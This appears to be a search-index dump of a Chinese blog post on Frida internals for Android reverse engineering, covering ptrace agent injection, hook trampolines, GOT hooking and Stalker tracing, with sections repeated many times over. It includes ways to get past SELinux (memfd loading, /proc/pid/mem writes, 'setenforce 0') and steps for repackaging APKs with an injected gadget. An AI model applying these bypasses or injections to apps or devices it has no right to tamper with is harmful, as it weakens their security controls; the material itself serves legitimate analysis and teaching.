memfd_create() 替代文件系统上的 .so，通过 dlopen(\"/proc/self/fd/N\") 加载，避免文件 SELinux 标签检查 通过 /proc//mem 直接写入，在某些内核版本上可绕过 ptrace 限制 作为最后手段，setenforce 0 临时关闭 SELinux（不推荐用于生产环境） frida-gadget (无 root 方案) 当设备无 root 时，将 frida-gadget.so 打包进 APK： 1. 解压 APK 2. 拷贝 frida-gadget.so 到 lib// 3. 在入口 Activity 的 smali 中添加 System.loadLibrary(\"frida-gadget\") 或用 patchelf --add-needed frida-gadget.so 添加为已有 .so 的依赖 4. 重新打包、签名、安装 Gadget 支持多种运行模式，通过 frida-gadget.config 配置： 模式 说明 listen 等待客户端连接（类似 frida-server） script 自动加载指定 JS 脚本，无需客户端 script-directory 监视目录中的脚本变化并自动加载 ","date":"2024-07-10","objectID":"/reverse_engineering/android/02-tools/dynamic/frida_internals/:0:4","tags":["Native层","动态分析","Frida","Hook","Xposed","Android"],"title":"Frida 核心模块与实现原理","uri":"/reverse_engineering/android/02-tools/dynamic/frida_internals/#selinux-的影响"},{"categories":null,"collections":null,"content":"注入机制深入 理解 Frida 如何将 frida-agent.so 注入到目标进程，是掌握整个框架的基础。 ptrace 注入流程 ptrace 是 Linux 内核提供的进程跟踪系统调用。Frida 利用它完成注入： frida-server 目标进程 | | | 1. ptrace(PTRACE_ATTACH) | 进程暂停 (SIGSTOP) | 2. PTRACE_GETREGS | 保存寄存器状态 | 3. 远程调用 mmap() | 分配 RWX 内存 | 4. PTRACE_POKEDATA | 写入 shellcode | 5. PTRACE_SETREGS (PC=shellcode) | | 6. PTRACE_CONT | 执行 shellcode: | | dlopen(\"frida-agent.so\") | | frida_agent_main() | 7. 恢复原始寄存器状态 | | 8. ptrace(PTRACE_DETACH) | 进程恢复正常 远程 mmap 调用是最巧妙的部分：frida-server 通过修改目标进程的寄存器来设置 mmap 系统调用的参数，将 PC 指向一条 SVC #0（ARM syscall 指令），执行一条指令后捕获返回值，从而在目标进程中分配出可执行内存。 写入目标进程的 shellcode 核心逻辑如下： shellcode 伪代码： 1. dlopen(\"frida-agent.so\", RTLD_LAZY) // 加载 Agent 2. dlsym(handle, \"frida_agent_main\") // 获取入口函数 3. frida_agent_main(agent_parameters) // 启动 Agent 4. 触发 SIGTRAP // 通知 server 完成 排错提示：如果注入时遇到 \"Failed to attach\" 或 \"unable to access process\"，首先用 getenforce 检查 SELinux 状态，然后确认 frida-server 是否以 root 运行。 Spawn vs Attach 模式 Spawn 模式 (-f) Attach 模式 时机 应用启动前注入 应用运行中注入 实现 利用 zygote fork，exec 前 ptrace 直接 ptrace 运行中进程 优势 可 Hook 初始化代码、构造函数 不干扰启动流程 风险 可能影响启动时序 错过早期调用 SELinux 的影响 SELinux 在 enforcing 模式下可能阻止 ptrace 附加、mmap 可执行内存、agent 的 socket 通信。Frida 的应对策略： frida-server 以 root (u:r:su:s0) 运行，天然拥有大多数权限 使用 memfd_create() 替代文件系统上的 .so，通过 dlopen(\"/proc/self/fd/N\") 加载，避免文件 SELinux 标签检查 通过 /proc//mem 直接写入，在某些内核版本上可绕过 ptrace 限制 作为最后手段，setenforce 0 临时关闭 SELinux（不推荐用于生产环境） frida-gadget (无 root 方案) 当设备无 root 时，将 frida-gadget.so 打包进 APK： 1. 解压 APK 2. 拷贝 frida-gadget.so 到 lib// 3. 在入口 Activity 的 smali 中添加 System.loadLibrary(\"frida-gadget\") 或用 patchelf --add-needed frida-gadget.so 添加为已有 .so 的依赖 4. 重新打包、签名、安装 Gadget 支持多种运行模式，通过 frida-gadget.config 配置： 模式 说明 listen 等待客户端连接（类似 frida-server） script 自动加载指定 JS 脚本，无需客户端 script-directory 监视目录中的脚本变化并自动加载 ","date":"2024-07-10","objectID":"/reverse_engineering/android/02-tools/dynamic/frida_internals/:0:4","tags":["Native层","动态分析","Frida","Hook","Xposed","Android"],"title":"Frida 核心模块与实现原理","uri":"/reverse_engineering/android/02-tools/dynamic/frida_internals/#frida-gadget-无-root-方案"},{"categories":null,"collections":null,"content":"Interceptor 实现细节 ARM64 Trampoline 结构 ARM64 上 Frida 需要覆盖函数头部 16 字节来放置跳转： 原始函数 (Hook 前)： Hook 后： 0x7000: STP X29,X30,[SP,#-16]! 0x7000: LDR X16, #8 (4 bytes) 0x7004: MOV X29, SP 0x7004: BR X16 (4 bytes) 0x7008: SUB SP, SP, #0x40 0x7008: \u003ctrampoline_addr\u003e(8 bytes) 0x700C: STR X0, [SP, #0x38] 0x7010: STR X0,[SP,#0x38] \u003c-- 正常继续 Trampoline 执行流： 调用者 -\u003e [函数入口 JMP] -\u003e Enter Trampoline | 保存 X0-X30, SP, NZCV | 调用 onEnter(context) v 原始指令 Trampoline (被覆盖指令的重定位副本) | JMP -\u003e 原始函数 offset+16 v 原始函数剩余代码 ... RET v Leave Trampoline | 捕获返回值, 调用 onLeave | 恢复寄存器, 返回调用者 Inline Hook vs PLT/GOT Hook Inline Hook (默认) PLT/GOT Hook 修改位置 函数代码段的指令 GOT 表中的函数指针 拦截范围 所有调用（包括直接调用） 仅通过 PLT 的调用（外部库调用） 隐蔽性 低（代码段被修改） 高（代码段不变） 实现 Interceptor.attach() 手动修改 GOT 条目 PLT/GOT Hook 示例： var mod = Process.findModuleByName(\"libnative.so\"); var imp = mod.enumerateImports().find(i =\u003e i.name === \"strcmp\"); if (imp) { var orig = Memory.readPointer(imp.slot); var hook = new NativeCallback(function(s1, s2) { console.log(\"strcmp:\", s1.readUtf8String(), s2.readUtf8String()); return new NativeFunction(orig, 'int', ['pointer','pointer'])(s1, s2); }, 'int', ['pointer','pointer']); Memory.protect(imp.slot, Process.pointerSize, 'rw-'); Memory.writePointer(imp.slot, hook); } 指令重定位 (Code Relocation) 被覆盖的原始指令搬到 trampoline 后，位置相关指令必须修正： 指令类型 问题 修正方法 ADRP X0, #imm PC 相对页地址计算 替换为 MOV+MOVK 绝对地址加载 B #offset / BL #offset PC 相对跳转 若超出范围，替换为间接跳转 TBZ/TBNZ/CBZ/CBNZ 条件跳转偏移 展开为多条指令 LDR Xt, [PC, #imm] PC 相对数据加载 计算绝对地址后用寄存器间接加载 Frida-Gum 的 GumArm64Relocator 组件自动处理这些重定位。重定位示例： 原始位置 0x7000: ADRP X0, #0x2000 -\u003e X0 = 0x9000 (基于 PC 的页地址) LDR X0, [X0, #0x10] -\u003e X0 = *(0x9010) 搬迁到 trampoline 位置 0xA000 后: MOV X0, #0x9010 -\u003e X0 = 0x9010 (绝对地址，不依赖 PC) LDR X0, [X0] -\u003e X0 = *(0x9010) ARM32/Thumb 的额外复杂性 ARM32 下的 Hook 更复杂，因为 Thumb 模式指令长度为 2 或 4 字节（而非 ARM64 统一的 4 字节）。关键问题包括： 指令边界对齐：覆盖时可能跨越 Thumb 指令边界 ARM/Thumb 模式切换：跳转 shellcode 可能需要先切换到 ARM 模式 IT (If-Then) 块：不能部分覆盖 IT 块中的指令，否则处理器会产生未定义行为 Interceptor 的线程安全 多线程同时执行被 Hook 函数时，Frida 通过以下设计保证安全： Trampoline 代码本身无状态（可重入） 每次进入 trampoline 时在栈上分配 GumInvocationContext（每个线程有独立栈） 使用线程局部存储 (TLS) 维护调用深度计数 因此不同线程的 Hook 上下文互不干扰。但需要注意：你的 onEnter/onLeave JS 回调中访问共享 JS 变量时，由于 Frida 使用锁序列化 JS 执行，高并发时会产生锁竞争开销。 ","date":"2024-07-10","objectID":"/reverse_engineering/android/02-tools/dynamic/frida_internals/:0:5","tags":["Native层","动态分析","Frida","Hook","Xposed","Android"],"title":"Frida 核心模块与实现原理","uri":"/reverse_engineering/android/02-tools/dynamic/frida_internals/#interceptor-实现细节"},{"categories":null,"collections":null,"content":"Interceptor 实现细节 ARM64 Trampoline 结构 ARM64 上 Frida 需要覆盖函数头部 16 字节来放置跳转： 原始函数 (Hook 前)： Hook 后： 0x7000: STP X29,X30,[SP,#-16]! 0x7000: LDR X16, #8 (4 bytes) 0x7004: MOV X29, SP 0x7004: BR X16 (4 bytes) 0x7008: SUB SP, SP, #0x40 0x7008: (8 bytes) 0x700C: STR X0, [SP, #0x38] 0x7010: STR X0,[SP,#0x38] \u003c-- 正常继续 Trampoline 执行流： 调用者 -\u003e [函数入口 JMP] -\u003e Enter Trampoline | 保存 X0-X30, SP, NZCV | 调用 onEnter(context) v 原始指令 Trampoline (被覆盖指令的重定位副本) | JMP -\u003e 原始函数 offset+16 v 原始函数剩余代码 ... RET v Leave Trampoline | 捕获返回值, 调用 onLeave | 恢复寄存器, 返回调用者 Inline Hook vs PLT/GOT Hook Inline Hook (默认) PLT/GOT Hook 修改位置 函数代码段的指令 GOT 表中的函数指针 拦截范围 所有调用（包括直接调用） 仅通过 PLT 的调用（外部库调用） 隐蔽性 低（代码段被修改） 高（代码段不变） 实现 Interceptor.attach() 手动修改 GOT 条目 PLT/GOT Hook 示例： var mod = Process.findModuleByName(\"libnative.so\"); var imp = mod.enumerateImports().find(i =\u003e i.name === \"strcmp\"); if (imp) { var orig = Memory.readPointer(imp.slot); var hook = new NativeCallback(function(s1, s2) { console.log(\"strcmp:\", s1.readUtf8String(), s2.readUtf8String()); return new NativeFunction(orig, 'int', ['pointer','pointer'])(s1, s2); }, 'int', ['pointer','pointer']); Memory.protect(imp.slot, Process.pointerSize, 'rw-'); Memory.writePointer(imp.slot, hook); } 指令重定位 (Code Relocation) 被覆盖的原始指令搬到 trampoline 后，位置相关指令必须修正： 指令类型 问题 修正方法 ADRP X0, #imm PC 相对页地址计算 替换为 MOV+MOVK 绝对地址加载 B #offset / BL #offset PC 相对跳转 若超出范围，替换为间接跳转 TBZ/TBNZ/CBZ/CBNZ 条件跳转偏移 展开为多条指令 LDR Xt, [PC, #imm] PC 相对数据加载 计算绝对地址后用寄存器间接加载 Frida-Gum 的 GumArm64Relocator 组件自动处理这些重定位。重定位示例： 原始位置 0x7000: ADRP X0, #0x2000 -\u003e X0 = 0x9000 (基于 PC 的页地址) LDR X0, [X0, #0x10] -\u003e X0 = *(0x9010) 搬迁到 trampoline 位置 0xA000 后: MOV X0, #0x9010 -\u003e X0 = 0x9010 (绝对地址，不依赖 PC) LDR X0, [X0] -\u003e X0 = *(0x9010) ARM32/Thumb 的额外复杂性 ARM32 下的 Hook 更复杂，因为 Thumb 模式指令长度为 2 或 4 字节（而非 ARM64 统一的 4 字节）。关键问题包括： 指令边界对齐：覆盖时可能跨越 Thumb 指令边界 ARM/Thumb 模式切换：跳转 shellcode 可能需要先切换到 ARM 模式 IT (If-Then) 块：不能部分覆盖 IT 块中的指令，否则处理器会产生未定义行为 Interceptor 的线程安全 多线程同时执行被 Hook 函数时，Frida 通过以下设计保证安全： Trampoline 代码本身无状态（可重入） 每次进入 trampoline 时在栈上分配 GumInvocationContext（每个线程有独立栈） 使用线程局部存储 (TLS) 维护调用深度计数 因此不同线程的 Hook 上下文互不干扰。但需要注意：你的 onEnter/onLeave JS 回调中访问共享 JS 变量时，由于 Frida 使用锁序列化 JS 执行，高并发时会产生锁竞争开销。 ","date":"2024-07-10","objectID":"/reverse_engineering/android/02-tools/dynamic/frida_internals/:0:5","tags":["Native层","动态分析","Frida","Hook","Xposed","Android"],"title":"Frida 核心模块与实现原理","uri":"/reverse_engineering/android/02-tools/dynamic/frida_internals/#arm64-trampoline-结构"},{"categories":null,"collections":null,"content":"Interceptor 实现细节 ARM64 Trampoline 结构 ARM64 上 Frida 需要覆盖函数头部 16 字节来放置跳转： 原始函数 (Hook 前)： Hook 后： 0x7000: STP X29,X30,[SP,#-16]! 0x7000: LDR X16, #8 (4 bytes) 0x7004: MOV X29, SP 0x7004: BR X16 (4 bytes) 0x7008: SUB SP, SP, #0x40 0x7008: (8 bytes) 0x700C: STR X0, [SP, #0x38] 0x7010: STR X0,[SP,#0x38] \u003c-- 正常继续 Trampoline 执行流： 调用者 -\u003e [函数入口 JMP] -\u003e Enter Trampoline | 保存 X0-X30, SP, NZCV | 调用 onEnter(context) v 原始指令 Trampoline (被覆盖指令的重定位副本) | JMP -\u003e 原始函数 offset+16 v 原始函数剩余代码 ... RET v Leave Trampoline | 捕获返回值, 调用 onLeave | 恢复寄存器, 返回调用者 Inline Hook vs PLT/GOT Hook Inline Hook (默认) PLT/GOT Hook 修改位置 函数代码段的指令 GOT 表中的函数指针 拦截范围 所有调用（包括直接调用） 仅通过 PLT 的调用（外部库调用） 隐蔽性 低（代码段被修改） 高（代码段不变） 实现 Interceptor.attach() 手动修改 GOT 条目 PLT/GOT Hook 示例： var mod = Process.findModuleByName(\"libnative.so\"); var imp = mod.enumerateImports().find(i =\u003e i.name === \"strcmp\"); if (imp) { var orig = Memory.readPointer(imp.slot); var hook = new NativeCallback(function(s1, s2) { console.log(\"strcmp:\", s1.readUtf8String(), s2.readUtf8String()); return new NativeFunction(orig, 'int', ['pointer','pointer'])(s1, s2); }, 'int', ['pointer','pointer']); Memory.protect(imp.slot, Process.pointerSize, 'rw-'); Memory.writePointer(imp.slot, hook); } 指令重定位 (Code Relocation) 被覆盖的原始指令搬到 trampoline 后，位置相关指令必须修正： 指令类型 问题 修正方法 ADRP X0, #imm PC 相对页地址计算 替换为 MOV+MOVK 绝对地址加载 B #offset / BL #offset PC 相对跳转 若超出范围，替换为间接跳转 TBZ/TBNZ/CBZ/CBNZ 条件跳转偏移 展开为多条指令 LDR Xt, [PC, #imm] PC 相对数据加载 计算绝对地址后用寄存器间接加载 Frida-Gum 的 GumArm64Relocator 组件自动处理这些重定位。重定位示例： 原始位置 0x7000: ADRP X0, #0x2000 -\u003e X0 = 0x9000 (基于 PC 的页地址) LDR X0, [X0, #0x10] -\u003e X0 = *(0x9010) 搬迁到 trampoline 位置 0xA000 后: MOV X0, #0x9010 -\u003e X0 = 0x9010 (绝对地址，不依赖 PC) LDR X0, [X0] -\u003e X0 = *(0x9010) ARM32/Thumb 的额外复杂性 ARM32 下的 Hook 更复杂，因为 Thumb 模式指令长度为 2 或 4 字节（而非 ARM64 统一的 4 字节）。关键问题包括： 指令边界对齐：覆盖时可能跨越 Thumb 指令边界 ARM/Thumb 模式切换：跳转 shellcode 可能需要先切换到 ARM 模式 IT (If-Then) 块：不能部分覆盖 IT 块中的指令，否则处理器会产生未定义行为 Interceptor 的线程安全 多线程同时执行被 Hook 函数时，Frida 通过以下设计保证安全： Trampoline 代码本身无状态（可重入） 每次进入 trampoline 时在栈上分配 GumInvocationContext（每个线程有独立栈） 使用线程局部存储 (TLS) 维护调用深度计数 因此不同线程的 Hook 上下文互不干扰。但需要注意：你的 onEnter/onLeave JS 回调中访问共享 JS 变量时，由于 Frida 使用锁序列化 JS 执行，高并发时会产生锁竞争开销。 ","date":"2024-07-10","objectID":"/reverse_engineering/android/02-tools/dynamic/frida_internals/:0:5","tags":["Native层","动态分析","Frida","Hook","Xposed","Android"],"title":"Frida 核心模块与实现原理","uri":"/reverse_engineering/android/02-tools/dynamic/frida_internals/#inline-hook-vs-pltgot-hook"},{"categories":null,"collections":null,"content":"Interceptor 实现细节 ARM64 Trampoline 结构 ARM64 上 Frida 需要覆盖函数头部 16 字节来放置跳转： 原始函数 (Hook 前)： Hook 后： 0x7000: STP X29,X30,[SP,#-16]! 0x7000: LDR X16, #8 (4 bytes) 0x7004: MOV X29, SP 0x7004: BR X16 (4 bytes) 0x7008: SUB SP, SP, #0x40 0x7008: (8 bytes) 0x700C: STR X0, [SP, #0x38] 0x7010: STR X0,[SP,#0x38] \u003c-- 正常继续 Trampoline 执行流： 调用者 -\u003e [函数入口 JMP] -\u003e Enter Trampoline | 保存 X0-X30, SP, NZCV | 调用 onEnter(context) v 原始指令 Trampoline (被覆盖指令的重定位副本) | JMP -\u003e 原始函数 offset+16 v 原始函数剩余代码 ... RET v Leave Trampoline | 捕获返回值, 调用 onLeave | 恢复寄存器, 返回调用者 Inline Hook vs PLT/GOT Hook Inline Hook (默认) PLT/GOT Hook 修改位置 函数代码段的指令 GOT 表中的函数指针 拦截范围 所有调用（包括直接调用） 仅通过 PLT 的调用（外部库调用） 隐蔽性 低（代码段被修改） 高（代码段不变） 实现 Interceptor.attach() 手动修改 GOT 条目 PLT/GOT Hook 示例： var mod = Process.findModuleByName(\"libnative.so\"); var imp = mod.enumerateImports().find(i =\u003e i.name === \"strcmp\"); if (imp) { var orig = Memory.readPointer(imp.slot); var hook = new NativeCallback(function(s1, s2) { console.log(\"strcmp:\", s1.readUtf8String(), s2.readUtf8String()); return new NativeFunction(orig, 'int', ['pointer','pointer'])(s1, s2); }, 'int', ['pointer','pointer']); Memory.protect(imp.slot, Process.pointerSize, 'rw-'); Memory.writePointer(imp.slot, hook); } 指令重定位 (Code Relocation) 被覆盖的原始指令搬到 trampoline 后，位置相关指令必须修正： 指令类型 问题 修正方法 ADRP X0, #imm PC 相对页地址计算 替换为 MOV+MOVK 绝对地址加载 B #offset / BL #offset PC 相对跳转 若超出范围，替换为间接跳转 TBZ/TBNZ/CBZ/CBNZ 条件跳转偏移 展开为多条指令 LDR Xt, [PC, #imm] PC 相对数据加载 计算绝对地址后用寄存器间接加载 Frida-Gum 的 GumArm64Relocator 组件自动处理这些重定位。重定位示例： 原始位置 0x7000: ADRP X0, #0x2000 -\u003e X0 = 0x9000 (基于 PC 的页地址) LDR X0, [X0, #0x10] -\u003e X0 = *(0x9010) 搬迁到 trampoline 位置 0xA000 后: MOV X0, #0x9010 -\u003e X0 = 0x9010 (绝对地址，不依赖 PC) LDR X0, [X0] -\u003e X0 = *(0x9010) ARM32/Thumb 的额外复杂性 ARM32 下的 Hook 更复杂，因为 Thumb 模式指令长度为 2 或 4 字节（而非 ARM64 统一的 4 字节）。关键问题包括： 指令边界对齐：覆盖时可能跨越 Thumb 指令边界 ARM/Thumb 模式切换：跳转 shellcode 可能需要先切换到 ARM 模式 IT (If-Then) 块：不能部分覆盖 IT 块中的指令，否则处理器会产生未定义行为 Interceptor 的线程安全 多线程同时执行被 Hook 函数时，Frida 通过以下设计保证安全： Trampoline 代码本身无状态（可重入） 每次进入 trampoline 时在栈上分配 GumInvocationContext（每个线程有独立栈） 使用线程局部存储 (TLS) 维护调用深度计数 因此不同线程的 Hook 上下文互不干扰。但需要注意：你的 onEnter/onLeave JS 回调中访问共享 JS 变量时，由于 Frida 使用锁序列化 JS 执行，高并发时会产生锁竞争开销。 ","date":"2024-07-10","objectID":"/reverse_engineering/android/02-tools/dynamic/frida_internals/:0:5","tags":["Native层","动态分析","Frida","Hook","Xposed","Android"],"title":"Frida 核心模块与实现原理","uri":"/reverse_engineering/android/02-tools/dynamic/frida_internals/#指令重定位-code-relocation"},{"categories":null,"collections":null,"content":"Interceptor 实现细节 ARM64 Trampoline 结构 ARM64 上 Frida 需要覆盖函数头部 16 字节来放置跳转： 原始函数 (Hook 前)： Hook 后： 0x7000: STP X29,X30,[SP,#-16]! 0x7000: LDR X16, #8 (4 bytes) 0x7004: MOV X29, SP 0x7004: BR X16 (4 bytes) 0x7008: SUB SP, SP, #0x40 0x7008: (8 bytes) 0x700C: STR X0, [SP, #0x38] 0x7010: STR X0,[SP,#0x38] \u003c-- 正常继续 Trampoline 执行流： 调用者 -\u003e [函数入口 JMP] -\u003e Enter Trampoline | 保存 X0-X30, SP, NZCV | 调用 onEnter(context) v 原始指令 Trampoline (被覆盖指令的重定位副本) | JMP -\u003e 原始函数 offset+16 v 原始函数剩余代码 ... RET v Leave Trampoline | 捕获返回值, 调用 onLeave | 恢复寄存器, 返回调用者 Inline Hook vs PLT/GOT Hook Inline Hook (默认) PLT/GOT Hook 修改位置 函数代码段的指令 GOT 表中的函数指针 拦截范围 所有调用（包括直接调用） 仅通过 PLT 的调用（外部库调用） 隐蔽性 低（代码段被修改） 高（代码段不变） 实现 Interceptor.attach() 手动修改 GOT 条目 PLT/GOT Hook 示例： var mod = Process.findModuleByName(\"libnative.so\"); var imp = mod.enumerateImports().find(i =\u003e i.name === \"strcmp\"); if (imp) { var orig = Memory.readPointer(imp.slot); var hook = new NativeCallback(function(s1, s2) { console.log(\"strcmp:\", s1.readUtf8String(), s2.readUtf8String()); return new NativeFunction(orig, 'int', ['pointer','pointer'])(s1, s2); }, 'int', ['pointer','pointer']); Memory.protect(imp.slot, Process.pointerSize, 'rw-'); Memory.writePointer(imp.slot, hook); } 指令重定位 (Code Relocation) 被覆盖的原始指令搬到 trampoline 后，位置相关指令必须修正： 指令类型 问题 修正方法 ADRP X0, #imm PC 相对页地址计算 替换为 MOV+MOVK 绝对地址加载 B #offset / BL #offset PC 相对跳转 若超出范围，替换为间接跳转 TBZ/TBNZ/CBZ/CBNZ 条件跳转偏移 展开为多条指令 LDR Xt, [PC, #imm] PC 相对数据加载 计算绝对地址后用寄存器间接加载 Frida-Gum 的 GumArm64Relocator 组件自动处理这些重定位。重定位示例： 原始位置 0x7000: ADRP X0, #0x2000 -\u003e X0 = 0x9000 (基于 PC 的页地址) LDR X0, [X0, #0x10] -\u003e X0 = *(0x9010) 搬迁到 trampoline 位置 0xA000 后: MOV X0, #0x9010 -\u003e X0 = 0x9010 (绝对地址，不依赖 PC) LDR X0, [X0] -\u003e X0 = *(0x9010) ARM32/Thumb 的额外复杂性 ARM32 下的 Hook 更复杂，因为 Thumb 模式指令长度为 2 或 4 字节（而非 ARM64 统一的 4 字节）。关键问题包括： 指令边界对齐：覆盖时可能跨越 Thumb 指令边界 ARM/Thumb 模式切换：跳转 shellcode 可能需要先切换到 ARM 模式 IT (If-Then) 块：不能部分覆盖 IT 块中的指令，否则处理器会产生未定义行为 Interceptor 的线程安全 多线程同时执行被 Hook 函数时，Frida 通过以下设计保证安全： Trampoline 代码本身无状态（可重入） 每次进入 trampoline 时在栈上分配 GumInvocationContext（每个线程有独立栈） 使用线程局部存储 (TLS) 维护调用深度计数 因此不同线程的 Hook 上下文互不干扰。但需要注意：你的 onEnter/onLeave JS 回调中访问共享 JS 变量时，由于 Frida 使用锁序列化 JS 执行，高并发时会产生锁竞争开销。 ","date":"2024-07-10","objectID":"/reverse_engineering/android/02-tools/dynamic/frida_internals/:0:5","tags":["Native层","动态分析","Frida","Hook","Xposed","Android"],"title":"Frida 核心模块与实现原理","uri":"/reverse_engineering/android/02-tools/dynamic/frida_internals/#arm32thumb-的额外复杂性"},{"categories":null,"collections":null,"content":"Interceptor 实现细节 ARM64 Trampoline 结构 ARM64 上 Frida 需要覆盖函数头部 16 字节来放置跳转： 原始函数 (Hook 前)： Hook 后： 0x7000: STP X29,X30,[SP,#-16]! 0x7000: LDR X16, #8 (4 bytes) 0x7004: MOV X29, SP 0x7004: BR X16 (4 bytes) 0x7008: SUB SP, SP, #0x40 0x7008: (8 bytes) 0x700C: STR X0, [SP, #0x38] 0x7010: STR X0,[SP,#0x38] \u003c-- 正常继续 Trampoline 执行流： 调用者 -\u003e [函数入口 JMP] -\u003e Enter Trampoline | 保存 X0-X30, SP, NZCV | 调用 onEnter(context) v 原始指令 Trampoline (被覆盖指令的重定位副本) | JMP -\u003e 原始函数 offset+16 v 原始函数剩余代码 ... RET v Leave Trampoline | 捕获返回值, 调用 onLeave | 恢复寄存器, 返回调用者 Inline Hook vs PLT/GOT Hook Inline Hook (默认) PLT/GOT Hook 修改位置 函数代码段的指令 GOT 表中的函数指针 拦截范围 所有调用（包括直接调用） 仅通过 PLT 的调用（外部库调用） 隐蔽性 低（代码段被修改） 高（代码段不变） 实现 Interceptor.attach() 手动修改 GOT 条目 PLT/GOT Hook 示例： var mod = Process.findModuleByName(\"libnative.so\"); var imp = mod.enumerateImports().find(i =\u003e i.name === \"strcmp\"); if (imp) { var orig = Memory.readPointer(imp.slot); var hook = new NativeCallback(function(s1, s2) { console.log(\"strcmp:\", s1.readUtf8String(), s2.readUtf8String()); return new NativeFunction(orig, 'int', ['pointer','pointer'])(s1, s2); }, 'int', ['pointer','pointer']); Memory.protect(imp.slot, Process.pointerSize, 'rw-'); Memory.writePointer(imp.slot, hook); } 指令重定位 (Code Relocation) 被覆盖的原始指令搬到 trampoline 后，位置相关指令必须修正： 指令类型 问题 修正方法 ADRP X0, #imm PC 相对页地址计算 替换为 MOV+MOVK 绝对地址加载 B #offset / BL #offset PC 相对跳转 若超出范围，替换为间接跳转 TBZ/TBNZ/CBZ/CBNZ 条件跳转偏移 展开为多条指令 LDR Xt, [PC, #imm] PC 相对数据加载 计算绝对地址后用寄存器间接加载 Frida-Gum 的 GumArm64Relocator 组件自动处理这些重定位。重定位示例： 原始位置 0x7000: ADRP X0, #0x2000 -\u003e X0 = 0x9000 (基于 PC 的页地址) LDR X0, [X0, #0x10] -\u003e X0 = *(0x9010) 搬迁到 trampoline 位置 0xA000 后: MOV X0, #0x9010 -\u003e X0 = 0x9010 (绝对地址，不依赖 PC) LDR X0, [X0] -\u003e X0 = *(0x9010) ARM32/Thumb 的额外复杂性 ARM32 下的 Hook 更复杂，因为 Thumb 模式指令长度为 2 或 4 字节（而非 ARM64 统一的 4 字节）。关键问题包括： 指令边界对齐：覆盖时可能跨越 Thumb 指令边界 ARM/Thumb 模式切换：跳转 shellcode 可能需要先切换到 ARM 模式 IT (If-Then) 块：不能部分覆盖 IT 块中的指令，否则处理器会产生未定义行为 Interceptor 的线程安全 多线程同时执行被 Hook 函数时，Frida 通过以下设计保证安全： Trampoline 代码本身无状态（可重入） 每次进入 trampoline 时在栈上分配 GumInvocationContext（每个线程有独立栈） 使用线程局部存储 (TLS) 维护调用深度计数 因此不同线程的 Hook 上下文互不干扰。但需要注意：你的 onEnter/onLeave JS 回调中访问共享 JS 变量时，由于 Frida 使用锁序列化 JS 执行，高并发时会产生锁竞争开销。 ","date":"2024-07-10","objectID":"/reverse_engineering/android/02-tools/dynamic/frida_internals/:0:5","tags":["Native层","动态分析","Frida","Hook","Xposed","Android"],"title":"Frida 核心模块与实现原理","uri":"/reverse_engineering/android/02-tools/dynamic/frida_internals/#interceptor-的线程安全"},{"categories":null,"collections":null,"content":"Stalker 深入分析 Stalker 本质上是一个动态二进制翻译器 (DBT)，类似 QEMU 用户态模式或 Intel PIN。 翻译管线 原始基本块 -\u003e [解码] -\u003e [Transform 回调] -\u003e [插桩] -\u003e [写入代码缓存] -\u003e [链接] ARM64Reader 用户可修改 插入跟踪 Slab 分配器 连接后续块 /删除/添加指令 回调代码 代码缓存使用 Slab 分配器：每个 Slab 约 2MB 的连续 RWX 内存，翻译后的基本块紧密排列以提高 CPU 缓存命中率。已翻译的块通过 Block Chaining 直接互相跳转，避免经过 Stalker 调度。 核心思想：永远不执行原始代码，只执行经过插桩的副本。 原始代码 Stalker 代码缓存 +-------------------+ +---------------------------+ | BB1 (0x1000): | 翻译 | BB1': | | MOV X0, #1 | ------\u003e | [记录执行到 0x1000] | | CMP X0, #5 | | MOV X0, #1 | | B.EQ 0x1020 | | CMP X0, #5 | +-------------------+ | B.EQ -\u003e BB3'(已翻译) | | BB2 (0x100C): | | B -\u003e BB2'(延迟翻译) | | MOV X2, #0 | +---------------------------+ | B 0x1030 | | BB2': | +-------------------+ | [记录执行到 0x100C] | | BB3 (0x1020): | | MOV X2, #0 ... | | MOV X2, #1 | +---------------------------+ | RET | | BB3': | +-------------------+ | [记录执行到 0x1020] | | MOV X2, #1 ... | +---------------------------+ 性能特征 使用方式 开销倍数 说明 仅 call/ret 事件 2-5x 插桩代码少 所有 exec 事件 10-50x 每条指令前都插入回调 transform + callout 5-20x 取决于 callout 复杂度 transform 仅修改指令 2-8x 无 JS 回调开销 实际应用：代码覆盖率收集 var target = Process.findModuleByName(\"libtarget.so\"); var coverage = new Set(); Stalker.follow(Process.getCurrentThreadId(), { events: { compile: true }, onReceive: function(events) { Stalker.parse(events, {stringify:false, annotate:false}).forEach(function(e) { var addr = e[0]; if (addr \u003e= target.base \u0026\u0026 addr \u003c target.base.add(target.size)) coverage.add(addr.sub(target.base).toInt32()); }); } }); 实际应用：加密算法指令追踪 // 跟踪加密函数内的算术/逻辑指令，用于分析白盒加密算法 var encryptFunc = Module.findExportByName(\"libcrypto.so\", \"encrypt_block\"); Interceptor.attach(encryptFunc, { onEnter: function(args) { Stalker.follow(Process.getCurrentThreadId(), { transform: function(iterator) { var insn; while ((insn = iterator.next()) !== null) { iterator.keep(); var m = insn.mnemonic; if ([\"eor\",\"and\",\"orr\",\"lsl\",\"lsr\",\"ror\",\"add\",\"sub\",\"mul\"] .indexOf(m) !== -1) { iterator.putCallout(function(ctx) { console.log(\"PC=\" + ctx.pc + \" X0=\" + ctx.x0 + \" X1=\" + ctx.x1); }); } } } }); }, onLeave: function() { Stalker.unfollow(); Stalker.flush(); } }); 实际应用：动态指令修补 Stalker.follow(Process.getCurrentThreadId(), { transform: function(iterator) { var insn; while ((insn = iterator.next()) !== null) { if (insn.address.equals(ptr(\"0x12345678\"))) { iterator.putNop(); // 将条件跳转替换为 NOP } else { iterator.keep(); } } } }); ","date":"2024-07-10","objectID":"/reverse_engineering/android/02-tools/dynamic/frida_internals/:0:6","tags":["Native层","动态分析","Frida","Hook","Xposed","Android"],"title":"Frida 核心模块与实现原理","uri":"/reverse_engineering/android/02-tools/dynamic/frida_internals/#stalker-深入分析"},{"categories":null,"collections":null,"content":"Stalker 深入分析 Stalker 本质上是一个动态二进制翻译器 (DBT)，类似 QEMU 用户态模式或 Intel PIN。 翻译管线 原始基本块 -\u003e [解码] -\u003e [Transform 回调] -\u003e [插桩] -\u003e [写入代码缓存] -\u003e [链接] ARM64Reader 用户可修改 插入跟踪 Slab 分配器 连接后续块 /删除/添加指令 回调代码 代码缓存使用 Slab 分配器：每个 Slab 约 2MB 的连续 RWX 内存，翻译后的基本块紧密排列以提高 CPU 缓存命中率。已翻译的块通过 Block Chaining 直接互相跳转，避免经过 Stalker 调度。 核心思想：永远不执行原始代码，只执行经过插桩的副本。 原始代码 Stalker 代码缓存 +-------------------+ 